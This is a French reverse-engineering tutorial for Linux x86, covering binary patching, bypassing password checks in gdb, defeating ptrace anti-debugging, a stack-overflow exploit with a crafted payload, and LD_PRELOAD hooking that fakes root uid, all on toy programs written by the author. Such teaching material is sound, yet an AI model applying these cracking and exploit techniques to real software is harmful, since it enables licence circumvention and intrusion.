LARDOUX Guillaume Contact. Auteur. Année Original. guillaume Année de Refonte. REVERSE ENGINEERING SOUS LINUX x86

Transcription

1 Auteur LARDOUX Guillaume Contact guillaume Année Original 2009 Année de Refonte 2014 REVERSE ENGINEERING SOUS LINUX x86

2 Sommaire 1. Introduction 2. Format ELF & PE 3. Les outils Linux 4. Patcher un Binaire 5. Contourner une Structure Conditionnelle 6. Contourner ptrace() 7. Exploiter un Stack Overflow 8. Hooking avec LD_PRELOAD 9. Contourner le Stripping 10. Obfuscation de Code en C 2

3 1. Introduction Depuis que les ordinateurs existent, il y a toujours eu des bugs dans les machines, des erreurs de programmation ou des défauts dans la conception, conduisant un programme à un endroit d un système qu'il n'était pas censé visiter. Mais dès lors, plusieurs techniques on vu le jour afin d'analyser ces défauts de fonctionnement, dans le but de les corriger ou de les exploiter. Ces techniques reposent en réalité sur un seul grand principe d'analyse de binaire : le «Reverse Engineering». Dans ce document, je vais me consacrer à l'analyse de programme sous Linux 32bits, et non sous Windows, bien plus connu et documenté. L'unique raison à cela est que le système et la structure des fichiers exécutable sous Linux est grandement différente et beaucoup plus attrayante. Sous Windows il porte le nom de PE Portable Executable, tandis que sous Linux il est nommé ELF Extended & Linking Format ; ce dernier sera introduit au prochain chapitre. Il est bon de savoir que la majorité des techniques de Hacking moderne sont basées sur le Reverse Engineering, car cette méthode d'analyse permet de comprendre le fonctionnement sous-jacent et parfois «mystique» d'un programme, et par conséquent de découvrir des failles qu'il aurait été impossible de découvrir autrement, si ce n est par hasard. C'est donc un atout du point de vue de la «sécurité», comme du point de vue du développement, car il est souvent nécessaire de comprendre le cœur du flux d exécution d'un programme qui ne fonctionne pas comme on le souhaiterait pour pouvoir le corriger, ou même l optimiser en fonction de ses besoins! 3

4 2. Format ELF & PE Chaque fichier exécutable sous Linux repose sur une structure nommée ELF. Cette structure, détaillée dans /usr/include/elf.h, permet au système d'exécuter un programme en chargeant ses informations en mémoire de manière structurée. Un programme est découpé en section, et chaque section possède un nom et une fonction propre. De fait.text contient le code exécutable à proprement parler,.rodata contient les SDR String Data Reference etc. Ainsi, lorsqu'on exécute un programme sous Linux, le «loader» va commencer par lire l'ensemble du fichier suivant la structure ELF afin de charger en mémoire chaque information à la bonne place chaînes de caractères, appels système, environnement, etc. pour que ce programme puisse interagir correctement avec le système. 4

5 3. Les outils Linux Afin d'avoir la possibilité d'analyser un programme sous une forme humainement compréhensible, il est nécessaire de posséder quelques outils. Sous Windows ils sont très connu Ollydbg, PEiD, IDA, Win32Dasm etc., mais peut-être peu moins sous Linux. Voici une liste détaillant quelques outils utiles au Reverse Engineering sous Linux. - gcc GNU C Compiler - gdb GNU Debugger - objdump Désassembleur de fichier ELF - strace Trace les appels système d un programme - ltrace Trace les appels aux fonctions des librairies d un programme - string Affiche les SDR d un programme - hexedit Editeur Hexadécimal en mode «Console» Ce sont là des outils de bases indispensables, mais d'autres outils comme «elfsh» ou «DDD» peuvent s'avérer tout aussi intéressant. Pour ce tutoriel, cela sera suffisant. 5

6 4. Patcher un Binaire Pour cette première mise en pratique, je vais m'attarder sur la modification manuelle d'un programme. Pour cela, il va nous falloir analyser l'exécution du programme pour comprendre son fonctionnement et éditer son code machine directement avec «hexedit». Code Source C #include <stdio.h> int main() { int i = 0; } if (i > 15) printf("\n\naccess GRANTED!!\n\n"); else printf("\n\naccess DENIED!!\n\n"); return (0); Comme on peut le constater, obtenir un «accès» sur ce type de programme est un jeu d'enfant, il nous suffit simplement de modifier la valeur de «i» ou encore la condition «if else». Commençons par exécuter le programme et observons sa réaction. root~#./a.out ACCESS DENIED!! root~# Intéressant, nous avons eu un «ACCESS DENIED!!» parce que la valeur de «i» est inférieure à 15. Modifions donc la comparaison et essayons d obtenir un accès. On va commencer de manière simple en désassemblant le code machine du programme avec l utilitaire «objdump». 6

7 root~# objdump -d./a.out a.out: file format elf32-i386 Disassembly of section.init: <_init>: : 55 [...] <main>: : : 8d 4c e4 f0 lea and 0x4(%esp),%ecx $0xfffffff0,%esp b: ff 71 fc pushl -0x4(%ecx) e: 55 push %ebp f: : 89 e5 51 mov push %esp,%ebp %ecx : 83 ec 14 sub $0x14,%esp : c7 45 f movl $0x0,-0x8(%ebp) c: : 83 7d f8 0f 7e 12 cmpl jle $0xf,-0x8(%ebp) <main+0x30> : 83 ec 0c sub $0xc,%esp : push $0x a: e8 1d ff ff ff call c f: 83 c4 10 add $0x10,%esp : eb 10 jmp <main+0x40> : 83 ec 0c sub $0xc,%esp : 68 9d push $0x804849d c: e8 0b ff ff ff call c : 83 c4 10 add $0x10,%esp : b mov $0x0,%eax : 8b 4d fc mov -0x4(%ebp),%ecx c: c9 leave d: 8d 61 fc lea -0x4(%ecx),%esp 80483a0: c3 ret 80483a1: 90 nop 80483a2: 90 nop 80483a3: 90 nop [...] J'ai volontairement supprimé une partie du code ASM afin de gagner de la place, mais cela n'empêche pas de comprendre simplement en lisant ce tutoriel étant donné que le code de la fonction «main» est présent. On observe un JLE Saut Conditionnel en 0x et juste au dessus un CMPL qui compare «i» avec 15. Logiquement, si on modifie la valeur 0xF 15 en décimal du CMPL ou si on supprime le saut conditionnel, on devrait obtenir un accès. On ouvre donc le programme avec «hexedit» et on recherche la chaine hexadécimale «837DF80F», qui correspond au code machine «if (i > 15)» en langage C. 7

8 Une fois trouvé, on vérifie si «7E12» JLE suit ce bout de code pour être sûr d écrire au bon endroit, et on change ce code «7E12» par des «NOP» No Operation, soit «9090» en hexadécimal, on sauvegarde avec le raccourci [CTRL + X] et on relance le programme. root~#./a.out ACCESS GRANTED!! root~# Et voila comment il est possible de modifier un programme sans posséder aucun code source. C est exactement le principe des «cracks» sous Windows, ou encore de certains patchs de sécurité. 8

9 5. Contourner une Structure Conditionnelle A présent que nous savons comment fonctionne un désassembleur et un éditeur hexadécimal, et la façon de modifier un binaire, il va nous falloir apprendre à contourner une structure conditionnelle un peu plus complexe, et cette fois sans toucher au code machine du programme! Code Source C #include <stdio.h> #include <string.h> int main() { char password[] = "Root"; char buffer[500+1]; } printf("password : "); fgets(buffer, sizeof(buffer), stdin); if (strncmp(buffer, password, strlen(password)) == 0) printf("\naccess GRANTED!!\n"); else printf("\naccess DENIED!!\n"); return (0); Comme vous pouvez le constater, j'ai implémenté un système d'authentification très simple, et le but du jeu étant d'obtenir un accès valide. Exécutons le programme afin d'observer son fonctionnement. root~#./a.out Password : root ACCESS DENIED!! root~# Nous allons à présent utiliser «gdb» pour tenter de contourner cette authentification. On charge le programme dans le debugger et on désassemble la fonction «main» afin d'analyser son comportement. 9

10 root~# gdb (gdb) file a.out Reading symbols from /root/a.out...done. Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x <main+0>: 0x <main+4>: lea and 0x4(%esp),%ecx $0xfffffff0,%esp 0x b <main+7>: pushl 0xfffffffc(%ecx) 0x e <main+10>: push %ebp 0x f <main+11>: 0x <main+13>: mov push %esp,%ebp %edi 0x <main+14>: push %esi 0x <main+15>: push %ecx 0x <main+16>: 0x a <main+22>: sub lea $0x20c,%esp 0xffffffeb(%ebp),%edi 0x d <main+25>: mov $0x80485e9,%esi 0x <main+30>: cld 0x <main+31>: 0x <main+36>: mov $0x9,%ecx rep movsb %ds:(%esi),%es:(%edi) 0x a <main+38>: sub $0xc,%esp 0x d <main+41>: push $0x80485b8 0x <main+46>: call 0x x <main+51>: add $0x10,%esp 0x a <main+54>: mov 0x ,%eax 0x f <main+59>: sub $0x4,%esp 0x <main+62>: push %eax 0x <main+63>: push $0x1f5 0x <main+68>: lea 0xfffffdf6(%ebp),%eax 0x e <main+74>: push %eax 0x f <main+75>: call 0x x <main+80>: add $0x10,%esp 0x <main+83>: lea 0xffffffeb(%ebp),%eax 0x a <main+86>: mov $0xffffffff,%ecx 0x f <main+91>: mov %eax,0xfffffdf0(%ebp) 0x <main+97>: mov $0x0,%al 0x <main+99>: cld 0x <main+100>: mov 0xfffffdf0(%ebp),%edi 0x e <main+106>: repnz scas %es:(%edi),%al 0x <main+108>: mov %ecx,%eax 0x <main+110>: not %eax 0x <main+112>: dec %eax 0x <main+113>: sub $0x4,%esp 0x <main+116>: push %eax 0x <main+117>: lea 0xffffffeb(%ebp),%eax 0x c <main+120>: push %eax 0x d <main+121>: lea 0xfffffdf6(%ebp),%eax 0x <main+127>: push %eax 0x <main+128>: call 0x x <main+133>: add $0x10,%esp 0x c <main+136>: test %eax,%eax 0x e <main+138>: jne 0x80484b2 <main+158> 0x080484a0 <main+140>: sub $0xc,%esp 10

11 0x080484a3 <main+143>: push 0x080484a8 <main+148>: call 0x080484ad <main+153>: add 0x080484b0 <main+156>: jmp 0x080484b2 <main+158>: sub 0x080484b5 <main+161>: push 0x080484ba <main+166>: call 0x080484bf <main+171>: add 0x080484c2 <main+174>: mov 0x080484c7 <main+179>: lea 0x080484ca <main+182>: pop 0x080484cb <main+183>: pop 0x080484cc <main+184>: pop 0x080484cd <main+185>: pop 0x080484ce <main+186>: lea 0x080484d1 <main+189>: ret End of assembler dump. (gdb) $0x80485c4 0x $0x10,%esp 0x80484c2 <main+174> $0xc,%esp $0x80485d7 0x $0x10,%esp $0x0,%eax 0xfffffff4(%ebp),%esp %ecx %esi %edi %ebp 0xfffffffc(%ecx),%esp Au vu de l exécution du programme, on peut déduire qu'il effectue une vérification du mot de passe saisi pour attribuer un accès ou non. On observe la fonction «strncmp» à l'adresse 0x suivie un peu plus loin d'une comparaison JNE en 0x0x804849e. On va commencer par poser un «breakpoint» juste au dessus de ce JNE, juste après la comparaison du mot de passe saisi, et on relance le programme. (gdb) break *0x c Breakpoint 1 at 0x804849c (gdb) run Starting program: /root/a.out Password : Magicien Breakpoint 1, 0x c in main () (gdb) 11

12 Ayant saisi «Magicien» comme mot de passe, le programme devra normalement nous afficher «ACCESS DENIED!!» si on continue son exécution. Il va donc falloir modifier le déroulement du programme afin de le faire passer sur le bout de code qui nous intéresse, c est-à-dire celui qui affiche «ACCES GRANTED!!». On va donc pointer sur la ligne juste après JNE Jump if Not Equal et on observe. (gdb) jump *main+140 Continuing at 0x80484a0. ACCESS GRANTED!! Program exited normally. (gdb) 12

13 6. Contourner ptrace() Avant de commencer : Qu'est-ce que «ptrace()»? ptrace(), diminutif de «Process Trace», est un appel système sous Linux qui permet de débugger un processus modification de sa mémoire, modification de ses registres etc. Vous pourrez obtenir d avantages d informations avec un simple «man ptrace» ou en lisant le manuel sur Cet appel système peu aussi agir en tant que système de détection d'analyse, et peut donc permettre à des programmes de se protéger contre toute attaque ou analyse dynamique. Code Source C #include <stdio.h> #include <sys/ptrace.h> int main() { if (ptrace(ptrace_traceme, 0, 1, 0) < 0) printf("\ndebuging Detected...\n"); else printf("\naccess GRANTED!!\n"); return (0); } Comme on peut le voir, le programme quittera sans aucune explication seulement si on tente de le débugger, mais s exécutera normalement sinon. root~#./a.out ACCESS GRANTED!! root~# gdb./a.out (gdb) run Starting program: /root/a.out Debuging Detected... Program exited normally. (gdb) 13

14 Aucune surprise jusqu ici. Il va donc falloir trouver un moyen de contourner cette restriction en lançant une analyse. root~# objdump -d./a.out a.out: file format elf32-i386 Disassembly of section.init: c <_init>: c: 55 push %ebp d: f: 89 e5 83 ec 08 mov sub %esp,%ebp $0x8,%esp : e8 8d call <call_gmon_start> [...] <main>: : 8d 4c lea 0x4(%esp),%ecx : 83 e4 f0 and $0xfffffff0,%esp b: ff 71 fc pushl -0x4(%ecx) e: 55 push %ebp f: 89 e5 mov %esp,%ebp 80483a1: 51 push %ecx 80483a2: 83 ec 04 sub $0x4,%esp 80483a5: 6a 00 push $0x a7: 6a 01 push $0x a9: 6a 00 push $0x ab: 6a 00 push $0x ad: e8 02 ff ff ff call 80482b b2: 83 c4 10 add $0x10,%esp 80483b5: 85 c0 test %eax,%eax 80483b7: jns 80483cb <main+0x37> 80483b9: 83 ec 0c sub $0xc,%esp 80483bc: 68 c push $0x80484c c1: e8 0e ff ff ff call 80482d c6: 83 c4 10 add $0x10,%esp 80483c9: eb 10 jmp 80483db <main+0x47> 80483cb: 83 ec 0c sub $0xc,%esp 80483ce: 68 de push $0x80484de 80483d3: e8 fc fe ff ff call 80482d d8: 83 c4 10 add $0x10,%esp 80483db: b mov $0x0,%eax 80483e0: 8b 4d fc mov -0x4(%ebp),%ecx 80483e3: c9 leave 80483e4: 8d 61 fc lea -0x4(%ecx),%esp 80483e7: c3 ret 80483e8: 90 nop [...] 14

15 Comme on peut le remarquer à l'adresse 0x080483ad, il y a un appel à la fonction «ptrace», il va donc nous falloir supprimer ou contourner cet appel système afin de pouvoir lancer le programme normalement dans un debugger. Ouvrons-le avec «hexedit» et modifions le JNS en JMP pour le forcer à sauter. Pour ce faire, il suffit de modifier la valeur «7912» de ce JNS, en «EB12». On referme, et on exécute avec GDB pour vérifier. root~# hexedit./a.out root~#./a.out ACCESS GRANTED!! root~# gdb./a.out Using host libthread_db library "/lib/libthread_db.so.1". (gdb) run Starting program: /root/a.out ACCESS GRANTED!! Program exited normally. (gdb)quit Tout fonctionne à merveille, le programme s'exécute normalement même lorsque nous le lançons avec un debugger, on peut donc considérer «ptrace» comme ayant été contourné. 15

16 7. Exploiter un Stack Overflow À présent, nous allons utiliser nos compétences afin de trouver et exploiter une faille de type «Stack Overflow». Il s'agit d'un débordement de mémoire se produisant dans la pile du programme cible. Voici un code vulnérable pour notre étude. Code Source C #include <stdio.h> #include <string.h> void Fonction() { printf("\nstack Overflow exploited!!\n"); } void Auth(char *argv) { char buffer[10]; strcpy(buffer, argv); } int main(int argc, char **argv) { if (argc > 1) { printf("cherche la Faille!!\n"); Auth(argv[1]); } else printf("usage : auth <password>\n"); return (0); } Dans ce programme très simple, un mot de passe saisi est placé dans un tampon de 10 octets (un caractère = 1 octet sur x86). Le problème ici est simple : que se passera t-il si je saisi un mot de passe de plus de 10 caractères? root~#./a.out Usage : auth <password> root~#./a.out Root Cherche la Faille!! root~#./a.out Cherche la Faille!! Segmentation fault 16

17 Comme nous pouvons le constater, il s est produit un dépassement de mémoire au bout de 10 caractères saisi. En langage C, le caractère de fin de chaine est toujours «\0», c'est pour cette raison que dans cet exemple la longueur maximum accordée à l'utilisateur est de 9 et non de 10! Cherchons maintenant un moyen d'exploiter ce problème. On va ouvrir «gdb» et lancer une analyse. On va saisir un mot de passe de 25 caractères et observer sa réaction. root~# gdb./a.out Using host libthread_db library "/lib/libthread_db.so.1". (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /root/a.out aaaaaaaaaaaaaaaaaaaaaaaaa Cherche la Faille!! Program received signal SIGSEGV, Segmentation fault. 0x in?? () Très intéressant, nous avons complètement réécrit EIP Extended Instruction Pointer! EIP est un registre des processeurs INTEL x86 qui permet d'enregistrer l'adresse de la prochaine instruction à exécuter, on a ici complètement écraser cette adresse avec des «0x61» ; sachant que «0x61» est la valeur hexadécimale du caractère «a» dans la table ASCII, on peut en déduire qu'il est possible d'exploiter cette vulnérabilité pour rediriger totalement le flux d exécution du programme. Pour cette expérience, nous allons tenter d'exécuter la fonction «Fonction()». Mais nous avons un problème : Combien de caractères faut-il pour écraser complètement EIP? Il va falloir faire des essais successifs. (gdb) run aaaaaaaaaaaaaaa The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/a.out aaaaaaaaaaaaaaa Cherche la Faille!! Program received signal SIGSEGV, Segmentation fault. 0x in?? () (gdb) 17

18 Après quelques recherches, on comprend que 15 caractères permettent d'écrire sur le dernier octet du registre EIP, donc 18 caractères permettront de l écraser complètement, étant donné qu un registre de processeur x86 est codé sur 4 octet. Maintenant on recherche l'adresse de la fonction «Fonction()» avec gdb. (gdb) disass Fonction Dump of assembler code for function Fonction: 0x <Fonction+0>: push %ebp 0x <Fonction+1>: mov %esp,%ebp 0x <Fonction+3>: 0x a <Fonction+6>: sub sub $0x8,%esp $0xc,%esp 0x d <Fonction+9>: push $0x x080483a2 <Fonction+14>: call 0x80482d4 <puts@plt> 0x080483a7 <Fonction+19>: 0x080483aa <Fonction+22>: add leave $0x10,%esp 0x080483ab <Fonction+23>: ret End of assembler dump. On voit que l'adresse de début de la fonction est 0x , par conséquent il suffit d'écrire 14 fois «a» suivie de cette adresse. Il faudra aussi penser au fait que nous sommes en «Little Indian». Voyons cela plus concrètement en testant notre théorie. (gdb) run `python -c 'print "aaaaaaaaaaaaaa\x94\x83\x04\x08"'` Starting program: /root/a.out `python -c 'print "aaaaaaaaaaaaaa\x94\x83\x04\x08"'` Cherche la Faille!! Stack Overflow exploited!! Program received signal SIGSEGV, Segmentation fault. 0xbfc9a500 in?? () (gdb) Et voila un beau «Stack Overflow» mis à mal. Pour cet exemple, nous avons exécuté une fonction interne au programme qui n'était pas censée s'exécuter en situation normal car elle n est jamais appelée, mais il est tout aussi possible d'injecter du code permettant l'exécution d'un shell avec les droits du programme. 18

19 8. Hooking avec LD_PRELOAD Encore une fois : Qu est-ce que LD_PRELOAD? C est une variable d'environnement sous Linux, tout comme %SYSTEMROOT% ou %PROGRAMFILES% sous Windows. Elle permet de spécifier au système quelle bibliothèque partagée sera chargée avec un programme lors de son exécution. Si cette variable est définie, l'éditeur de liens s occupera de charger notre bibliothèque avant toutes les autres. L'utilité de tout ça? Si on charge une bibliothèque de fonction supplémentaire dans la mémoire d'un programme, contenant des fonctions portant exactement le même nom que les fonctions ayant été appelées par ce même programme, ce sont alors nos fonctions qui vont être exécutées à la place des fonctions d origines. Ce genre de pratique porte un nom, c est le «hooking». Autrement dit, créer une fonction portant le nom d'une fonction du système, et ordinairement appelée par un programme ; si nous pré-chargeons nos fonctions avant toutes les autres lors d'une exécution, ce sont nos fonctions qui auront la «priorité» pour s'exécuter. Voici un programme de démonstration qui va simplement afficher un UID lors de son exécution. Code Source C #include <stdio.h> #include <unistd.h> int main() { int i = getuid(); printf("(uid)=%i\n", i); return (0); } Vérifions à présent afin de mieux comprendre comment cela réagit. root~# gcc getuid.c root~#./a.out (uid)=0 root~# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk) 19

20 Le programme «id» inclut dans le système nous permet de vérifier que notre programme fonctionne correctement, étant donné que je suis bien «root» au moment ou j'exécute le programme. Je vais maintenant créer un nouvel utilisateur sur le système, me loguer sous cet utilisateur, et regarder l'uid qui m'a été attribué par le système. Nous allons ensuite commencer notre travail de contournement de fonction système. root~# adduser magicien User ID ('UID') [ defaults to next available ]: 951 Initial group [ users ]: Additional groups (comma separated) []: Home directory [ /home/magicien ] Shell [ /bin/bash ] Expiry date (YYYY-MM-DD) []: New account will be created as follows: Login name...: magicien UID...: 951 Initial group...: users Additional groups: [ None ] Home directory...: /home/magicien Shell...: /bin/bash Expiry date...: [ Never ] This is it... if you want to bail out, hit Control-C. Otherwise, press ENTER to go ahead and make the account. Creating new account... Changing the user information for magicien Enter the new value, or press ENTER for the default Full Name []: Magicien Room Number []: Work Phone []: Home Phone []: Other []: Changing password for magicien Enter the new password (minimum of 5, maximum of 127 characters) Please use a combination of upper and lower case letters and numbers. New password: Bad password: too short. Warning: weak password (enter it again to use it anyway). New password: Re-enter new password: Password changed. Account setup complete. root~# su magicien magicien~$ id uid=951(magicien) gid=100(users) groups=100(users) 20

21 Nous allons maintenant écrire une librairie et définir LD_PRELOAD avec le chemin de cette nouvelle librairie. Le but sera de faire afficher au programme «id» du système, ainsi qu'à notre programme écrit plus haut, la valeur «0» ; qui je le rappel est l UID du compte «root» sur Linux. Code Source C #include <stdio.h> int getuid() { return (0); } int geteuid() { return (0); } int getgid() { return (0); } Une fois compilé avec la commande «gcc -shared lib.c -o falseid.so», il ne nous reste plus qu'à charger notre nouvelle bibliothèque dans LD_PRELOAD, et vérifier si tout fonctionne comme nous le voulons. root~# su magicien magicien~$ pwd /root magicien~$ id uid=951(magicien) gid=100(users) groups=100(users) magicien~$ export LD_PRELOAD=/root/falseid.so magicien~$ id uid=0(root) gid=0(root) egid=100(users) groups=100(users) magicien~$ /root/a.out (id)=0 magicien~$ exit 21

22 Comme on peut l observer, notre détournement de fonction «getuid» fonctionne à merveille. Pour cette exemple, je n'ai fait que mettre en avant le principe final, mais sachez que nous pouvons faire bien plus que déconcerter des fonctions d'affichage d'uid ou de GID. Nous pouvons par exemple reprogrammer une fonction pour lui faire afficher un shell, copier le fichier /etc/shadow, et bien plus encore. En y repensant, on aurait même pu reprogrammer ptrace() afin qu'il retourne toujours «0», ce qui aurait eu pour effet d'annuler l'action réel de la fonction dans l'explication détaillé plus haut. Cela pourrait aussi servir à valider un logiciel en recodant certaines fonctions critique comme malloc(), en lui faisant retourner «NULL» dans tout les cas! Pour finir, il est bon de savoir que pour vider le contenu de LD_PRELOAD afin de rendre aux programmes leurs fonctionnement normal, il suffit simplement de taper «LD_PRELOAD=""» après avoir effectué les actions souhaitées. root~# LD_PRELOAD="" root~# id uid=951(magicien) gid=100(users) groups=100(users) 22

23 9. Contourner le Stripping Le stripping est une technique qui permet de détruire la «Table des Symboles» sous Linux. Une table de symboles contient entre autre les adresses des variables, les noms des fonctions et les labels. L'outil permettant d'effectuer cette action est «strip». La démonstration ci-dessous utilise un programme au hasard, il n y a pas de code à montrer parce que nous en avons pas besoin ici. Prenez n importe quelle bout de code ou programme et essayez, vous constaterez le même résultat. root~# gcc prog.c root~# objdump -d./a.out a.out: file format elf32-i386 Disassembly of section.init: <_init>: : 55 push %ebp : 89 e5 mov %esp,%ebp : 83 ec 08 sub $0x8,%esp a: e call 80482d4 <call_gmon_start> f: e8 cc call <frame_dummy> : e8 c call < do_global_ctors_aux> : c9 leave a: c3 ret Disassembly of section.plt: [...] <main>: : 8d 4c lea 0x4(%esp),%ecx : 83 e4 f0 and $0xfffffff0,%esp b: ff 71 fc pushl -0x4(%ecx) e: 55 push %ebp f: 89 e5 mov %esp,%ebp : 51 push %ecx : 83 ec 04 sub $0x4,%esp : 89 4d f8 mov %ecx,-0x8(%ebp) : 8b 45 f8 mov -0x8(%ebp),%eax b: cmpl $0x1,(%eax) [...] Comme nous pouvons le constater, tout semble normal. Nous allons à présent stripper ce programme et observer ce que cela produit. 23

24 root~# strip./a.out root~# objdump -d./a.out a.out: file format elf32-i386 Disassembly of section.init: <.init>: : 55 push %ebp : : 89 e5 83 ec 08 mov sub %esp,%ebp $0x8,%esp a: e [...] b0 <.text>: 80482b0: 31 ed xor %ebp,%ebp 80482b2: 5e pop %esi 80482b3: 89 e1 mov %esp,%ecx 80482b5: 80482b8: 83 e4 f0 50 and push $0xfffffff0,%esp %eax 80482b9: 54 push %esp 80482ba: 52 push %edx 80482bb: 68 b push $0x80483b c0: 68 c push $0x80483c c5: 51 push %ecx 80482c6: 56 push %esi 80482c7: push $0x cc: e8 bb ff ff ff call c < libc_start_main@plt> 80482d1: f4 hlt 80482d2: 90 nop [...] Dans ce test, aucun symbole n'est présent. Vous pourriez vous dire : Mais en quoi cela est-il gênant? On va donc essayer d analyser ce programme avec «gdb». root~# gdb a.out (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main No symbol table is loaded. Use the "file" command. (gdb) Et oui, il n y plus de symboles et donc plus aucune références! Plutôt ennuyeux lorsqu'on a un programme de plusieurs centaines de kilo octet à analyser. Il existe tout de même un outil capable de remettre en place la table des symboles, il se nomme «fenris». Mais voyons comment il est possible de se débrouiller sans table des symboles. 24

25 Voici un dump du code ASM de la section.text Code du Programme. Disassembly of section.text: b0 <.text>: 80482b0: 31 ed xor %ebp,%ebp 80482b2: 5e pop %esi 80482b3: 89 e1 mov %esp,%ecx 80482b5: 83 e4 f0 and $0xfffffff0,%esp 80482b8: 50 push %eax 80482b9: 54 push %esp 80482ba: 52 push %edx 80482bb: 68 b push $0x80483b c0: 68 c push $0x80483c c5: 51 push %ecx 80482c6: 56 push %esi 80482c7: push $0x cc: e8 bb ff ff ff call c < 80482d1: f4 hlt 80482d2: 90 nop 80482d3: 90 nop 80482d4: 55 push %ebp 80482d5: 89 e5 mov %esp,%ebp 80482d7: 53 push %ebx 80482d8: 83 ec 04 sub $0x4,%esp 80482db: e call 80482e e0: 5b pop %ebx 80482e1: 81 c3 a add $0x12a4,%ebx 80482e7: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx 80482ed: 85 d2 test %edx,%edx 80482ef: je 80482f f1: e8 86 ff ff ff call c < 80482f6: 58 pop %eax 80482f7: 5b pop %ebx 80482f8: c9 leave 80482f9: c3 ret 80482fa: 90 nop 80482fb: 90 nop 80482fc: 90 nop 80482fd: 90 nop 80482fe: 90 nop 80482ff: 90 nop 25

26 : 55 push %ebp : 89 e5 mov %esp,%ebp : 83 ec 08 sub $0x8,%esp : 80 3d a cmpb $0x0,0x80495a d: 74 0c je b f: eb 1c jmp d : 83 c0 04 add $0x4,%eax : a3 a mov %eax,0x80495a : ff d2 call *%edx b: a1 a mov 0x80495a4,%eax : 8b 10 mov (%eax),%edx : 85 d2 test %edx,%edx : 75 eb jne : c6 05 a movb $0x1,0x80495a d: c9 leave e: c3 ret f: 90 nop : 55 push %ebp : 89 e5 mov %esp,%ebp : 83 ec 08 sub $0x8,%esp : a1 b mov 0x804 [...] On observe très facilement qu'à chaque fois des NOP apparaissent, c est en réalité la coupure entre chaque section. Cela nous permet déjà de connaitre le nombre de section, et donc de savoir combien de lignes il faudra analyser lorsque nous aurons trouvé le «main». Une autre chose à savoir est qu'il est vraiment très rare que nous puissions trouver des références de fonctions de type < ou encore < libc_start_main@plt>. Dans une fonction aucune indication n'apparait, si un appel de fonction est présent il se fera comme d'habitude, à savoir quelque chose du type <puts@plt>, autrement dit directement par le nom de la fonction. 26

27 10. Obfuscation de Code en C L'obfuscation de code est une technique dont l objectif est de rendre aussi difficile que possible la compréhension d un code source. Il existe même des concours, comme le «International Obfuscated C Code Contest» qui possède son propre site internet : Dans un but didactique, je vais jouer avec la directive «#define» du préprocesseur C afin d alourdir légèrement la syntaxe du code généré. Code Source C #include <stdio.h> #define A int #define B main #define C printf #define D return #define Z "Bonjour Root...\n" A B(){C(Z);D (1337);} root~# gcc obfusc.c root~#./a.out Bonjour Root... root~# Comme on peut l'observer, c est vraiment un jeu d'enfant à mettre en œuvre. Il faut tout de même faire attention à bien comprendre que l objectif n est pas de protéger le code machine du programme, mais bien le code source. Le programme compilé sera structuré et exécuté de la même façon. 27